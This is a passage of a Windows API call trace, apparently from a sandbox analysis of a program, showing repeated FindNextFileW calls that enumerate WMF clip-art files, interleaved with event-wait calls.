(hEvent=0x118) returned 1 [0254.939] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.332] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf943800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf943800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1 [0255.333] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6bcf00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb6bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1 [0255.333] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdfcc00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcdfcc00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1 [0255.333] ResetEvent (hEvent=0x118) returned 1 [0255.334] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.345] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae630b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae630b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1 [0255.346] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad31de00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad31de00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1 [0255.346] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac00b100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac00b100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1 [0255.346] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaacf8400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaacf8400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1 [0255.347] ResetEvent (hEvent=0x118) returned 1 [0255.347] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.356] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d2a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa86d2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1 [0255.357] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73bfd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa73bfd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1 [0255.357] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60ad000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa60ad000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1 [0255.358] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d9a300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4d9a300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1 [0255.358] ResetEvent (hEvent=0x118) returned 1 [0255.358] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.381] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a87600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3a87600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1 [0255.381] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2774900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2774900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1 [0255.382] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d3100, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf50d3100, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1 [0255.382] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb4f600, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb4f600, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1 [0255.383] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4dd7200, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4dd7200, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1 [0255.383] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef0a100, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbef0a100, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1 [0255.383] ResetEvent (hEvent=0x118) returned 1 [0255.383] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.388] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2364900, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2364900, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1 [0255.388] ResetEvent (hEvent=0x118) returned 1 [0255.389] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.528] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4adb300, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4adb300, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1 [0255.529] ResetEvent (hEvent=0x118) returned 1 [0255.529] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.584] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad86a500, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad86a500, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1 [0255.584] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fdeb00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95fdeb00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1 [0255.585] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963a600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9963a600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1 [0255.585] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1 [0255.585] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ff1000, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ff1000, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1 [0255.586] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d752900, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d752900, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1 [0255.586] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97014c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97014c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1 [0255.586] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e1a200, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49e1a200, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1 [0255.587] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cfde00, ftCreationTime.dwHighDateTime=0x1bf3242, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80cfde00, ftLastWriteTime.dwHighDateTime=0x1bf3242, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1 [0255.587] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4fe7000, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4fe7000, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1 [0255.587] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb44f00, ftCreationTime.dwHighDateTime=0x1bd4c0c, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4eb44f00, ftLastWriteTime.dwHighDateTime=0x1bd4c0c, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1 [0255.588] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02ca800, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf02ca800, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1 [0255.588] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd62f9d00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd62f9d00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1 [0255.588] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1 [0255.588] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0255.589] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0255.589] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0255.590] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0255.590] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1 [0255.590] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1 [0255.591] ResetEvent (hEvent=0x118) returned 1 [0255.591] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.594] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1 [0255.594] ResetEvent (hEvent=0x118) returned 1 [0255.594] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.598] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1 [0255.598] ResetEvent (hEvent=0x118) returned 1 [0255.598] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.603] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1 [0255.603] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1 [0255.603] ResetEvent (hEvent=0x118) returned 1 [0255.603] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.783] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1 [0255.783] ResetEvent (hEvent=0x118) returned 1 [0255.783] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.805] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, 